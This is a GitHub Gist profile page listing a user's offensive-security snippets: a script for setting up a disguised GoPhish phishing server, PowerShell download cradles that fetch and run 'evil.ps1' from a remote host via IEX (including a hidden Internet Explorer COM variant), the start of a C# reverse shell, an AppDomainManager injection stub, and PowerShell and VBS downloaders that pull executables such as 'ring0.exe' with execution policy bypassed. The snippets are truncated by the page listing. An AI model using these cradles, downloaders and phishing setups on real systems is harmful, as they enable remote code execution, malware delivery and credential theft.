Skip to content

Instantly share code, notes, and snippets.

View chosenonehacks's full-sized avatar
🌴
On vacation

chosenonehacks

🌴
On vacation
View GitHub Profile
@chosenonehacks
chosenonehacks / getsneakygophish.sh
Last active March 8, 2023 12:49
Get sneaky GoPhish
#!/bin/bash
#before you proceed get latest GO and install it
#https://gist.github.com/chosenonehacks/6d7a2ccecf3ec21113ecbfdd58ceb4ac
#clone gophish
git clone https://github.com/gophish/gophish
#Get a Custom 404 Page
wget "https://raw.githubusercontent.com/chosenonehacks/sneaky_gophish/main/files/404.html" -O "404.html"
@chosenonehacks
chosenonehacks / gogetlastestandinstall.sh
Last active February 20, 2023 12:11
Get latest GO and install into your linux
#!/bin/bash
#run as sudo
if [ "$EUID" -ne 0 ]
then echo "Please run as sudo"
exit
fi
#get latest GO and install latest into your linux
@chosenonehacks
chosenonehacks / ddnsserver.py
Created January 12, 2022 13:34 — forked from pklaus/ddnsserver.py
Simple DNS server (UDP and TCP) in Python using dnslib.py
#!/usr/bin/env python
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import argparse
import datetime
import sys
import time
import threading
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@chosenonehacks
chosenonehacks / Simple_Rev_Shell.cs
Created April 7, 2021 09:27 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@chosenonehacks
chosenonehacks / WAHH_Task_Checklist.md
Created August 3, 2020 11:41 — forked from jhaddix/Testing_Checklist.md
The Web Application Hacker's Handbook - Task Checklist - Github-Flavored Markdown
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
@chosenonehacks
chosenonehacks / Download PS script into memory
Created October 18, 2017 13:54
Download PS script into memory
IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/full_path/script_name.ps1”)
@chosenonehacks
chosenonehacks / Powershell downloader
Created October 18, 2017 10:05
Powershell downloader
echo $storageDir = $pwd > httpdownload.ps1
echo $webclient = New-Object System.Net.WebClient >> httpdownload.ps1
echo $webclient.DownloadFile("[Download URL]","[File Name]") >> httpdownload.ps1
$powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File httpdownload.ps1
@chosenonehacks
chosenonehacks / VBS downloader
Last active November 9, 2019 15:21
VBS downloader
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs
#cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename
#Or...
# VBS downloader
echo Dim HTTPGET >> localexploit.vbs
echo Set HTTPGET = CreateObject(“Microsoft.XMLHTTP”) >> localexploit.vbs &&
echo HTTPGET.Open “GET”, “http://192.168.1.10/ring0.exe”, false >> localexploit.vbs
echo HTTPGET.Send >> localexploit.vbs